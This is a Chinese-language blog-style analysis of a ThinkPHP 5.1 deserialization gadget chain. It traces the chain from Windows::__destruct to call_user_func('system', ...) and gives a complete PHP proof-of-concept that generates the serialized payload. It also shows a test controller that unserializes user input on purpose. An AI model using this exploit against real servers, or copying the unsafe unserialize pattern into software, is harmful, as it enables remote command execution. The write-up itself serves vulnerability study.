之前护网遇到好几个Thinkphp的框架,借此来学习其中一个漏洞
__destruct()作为入口点
我们找到Whindows.php
的__destruct()
魔术方法作为链子的入口,并跟进removeFiles()
函数


这里的$filename
变量是一个string类型,当我们传入一个对象到期望接收字符串的函数时,PHP会自动尝试将该对象转换为字符串。这时会触发对象的 __toString()
魔术方法
寻找触发__toString的关联类
因此我们再次找到Conversion.php
中的__toString
方法

但需要注意的是该方法的Conversion
是一个trait

trait关键字的作用:
- trait是PHP从5.4.0版本开始引入的一种代码复用机制
- 它允许开发者创建一组方法,这些方法可以被不同的类引入使用
- trait的主要目的是解决PHP单继承的限制,实现代码复用
trait只是一组方法的集合,不是完整的类,因此trait不能被实例化
正确的触发方式是
1 2 3 4 5 6 7
| class SomeModel extends \think\Model { use \think\model\concern\Conversion; }
$model = new SomeModel(); echo $model;
|
至此我们需要寻找一个关联类,全局搜索\Conversion
,找到仅有的Model.php

但是这里的Model类是一个抽象类
抽象类的特点:
- 使用 abstract 关键字声明
- 可以包含抽象方法和具体方法
- 不能被直接实例化
- 必须被其他类继承才能使用
- 子类必须实现抽象类中的所有抽象方法
因此抽象类更多的是作为一个基类,定义子类应该遵循的规范;所以你可以看到Model类作为一个基础模型类,提供了统一的数据库操作接口,通过trait引入了多个功能模块,提供了可复用的基础功能
我们需要找到一个继承它的子类,这里是Pivot.php

届时,我们实例化Pivot
类即可
寻找触发__call的类
我们回到刚才的__toString()
跟进toJson()
1 2 3 4
| public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
|
当对象被当作字符串使用时,会触发这个转换过程:将模型对象转换为JSON字符串,首先调用toArray()
将其转换为数组,再使用json_encode()
转换为JSON。
我们跟进到toArray()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; ...
|
首先需要一个append属性(存储需要追加的关联属性列表,例如['profile' => ['age', 'address']]
),遍历所有需要追加的属性,如果$name
是数组,尝试获取关联数据,我们跟进getRelation()

当获取不到数据时,会被设置为NULL(代表查询到了一个不存在的关联关系,null可以知道这个关联联系不存在),此时跟进getAttr()
1 2 3 4 5 6 7 8 9 10
| public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; } ...
|
这里我们进入了一个try-catch
块,具体结果需要继续跟进getData()
1 2 3 4 5 6 7 8 9 10 11
| public function getData($name = null) { if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
此时$name
肯定不为null,并且$relation
先前也为空,因此加上data数据可控,所以$value
就成了data[$name]
,而$relation
也会被赋予$value
的值
而$relation
是我们可控的对象(通过 getAttr($key)
获取的),这个对象可以是任何类型的对象,不一定会包含 visible
方法,当调用不存在的方法 visible()
时,会触发 __call
魔术方法,所以我们可以通过构造特定的对象来劫持这个 __call
调用
而现在我们需要找到存在__call
魔术方法的类,定位到Request.php
1 2 3 4 5 6 7 8 9
| public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); }
throw new Exception('method not exists:' . static::class . '->' . $method); }
|
显然call_user_func_array()
是一个可执行命令的点,其中array_unshift
函数将当前Request对象添加到参数数组的开头,这里$this->hook
是可控的,但是array_unshift
使得$args
数组不可控
寻找最终的RCE出口处
所以我们需要一个绕过思路:
需要找一个不需要参数的函数作为目标函数,或者找一个第一个参数正好需要是Request对象的函数,通过设置 $this->hook[$method]
为这样的函数,实现跳板的作用
我们找到filterValue
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { if (!preg_match($filter, $value)) { $value = $default; break; } } elseif (!empty($filter)) { $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); if (false === $value) { $value = $default; break; } } } }
return $value; }
|
call_user_func($filter, $value)
尤为瞩目,显然这两个参数是可控的,$value
也不会因为其它函数而改变其自身结构,我们跟踪谁调用了这个filterValue()
input()

但是这里面的参数都不是用户可控的,继续跟踪到param()

依旧不可控,继续跟踪到isAjax()
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) { return $result; }
$result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
|
$this->config['var_ajax']
就是我们要构造的参数,对应$name = $this->config['var_ajax']
相当于这里要去寻找$this->config['var_ajax']
被设置的键名(GET、POST等参数),如果设置为空,那么任意字符串可以被当作键名
1 2
| $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
|
this->param
:当前已存在的参数
$this->get(false)
:获取所有GET参数
$vars
:根据请求方法(POST/PUT/DELETE/PATCH
)获取的参数
$this->route(false)
:获取路由参数
现在$data,$name
都已经可控了,还差$filter
,我们从input()
中跟进getFilter

其中

Poc
链子完整调用流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Windows::__destruct() → Windows::removeFiles() → file_exists($pivotObj) 触发 __toString() → Pivot::__toString() (通过Conversion trait) → Pivot::toJson() → Pivot::toArray() → Pivot::getRelation() → getAttr() → 触发Request::__call('visible') → Request::isAjax() → Request::param() → Request::input() → Request::filterValue() → call_user_func('system', 'phpinfo()')
|
首先从__destruct()
开始,通过removeFile()
的file_exists(new Pivot())
触发__toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| namespace think\process\pipes{ use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files = [new Pivot()]; } } }
namespace think\model{ use think\Model; class Pivot extends Model {
} }
|
由于Pivot继承Model类,conversation类是一个trait,因此,我们需要借助基类去实现初始构造,同时在data处设置与Requst类的桥梁,根据之前的分析append
得不为空,同时键得和data
一样才能到return $this->data[$name];
这一步
1 2 3 4 5 6 7 8 9 10
| namespace think{ abstract class Model { protected $append = []; private $data = []; public function __construct() { $this->append = ["Qu43ter"=>["1"]]; $this->data = ["Qu43ter"=>new Request()]; } } }
|
由于Request()
类存在__call()
方法,我们需要在$this->hook
设置visible
这个不存在的方法来触发,同时其关联的值为拥有可控参数的isAjax
;执行命令的参数为$param
,其赋值给call_user_func
的$data
1 2 3 4 5 6 7 8 9 10 11 12 13
| namespace think{ class Request { protected $hook = []; protected $filter = "system"; protected $config = []; function __construct(){ $this->hook = ["visible"=>[$this,"isAjax"]]; $this->filter = "system"; $this->config = ['var_ajax'=>'',]; } } }
|
完整Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php namespace think{ abstract class Model { protected $append = []; private $data = []; public function __construct() { $this->append = ["Qu43ter"=>["1"]]; $this->data = ["Qu43ter"=>new Request()]; } } }
namespace think{ class Request { protected $hook = []; protected $filter = "system"; protected $config = []; function __construct(){ $this->hook = ["visible"=>[$this,"isAjax"]]; $this->filter = "system"; $this->config = ['var_ajax'=>'',]; } } }
namespace think\process\pipes{ use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files = [new Pivot()]; } } }
namespace think\model{ use think\Model; class Pivot extends Model {
} }
namespace { use think\process\pipes\Windows; echo (base64_encode(serialize(new Windows()))); } ?>
|
在测试之前我们需要自己构建一个反序列化点,app\index\controller
下的Index
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php namespace app\index\controller;
class Index { public function index($q = "") { unserialize(base64_decode($q)); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; }
public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }
|

或者加载phar的方式
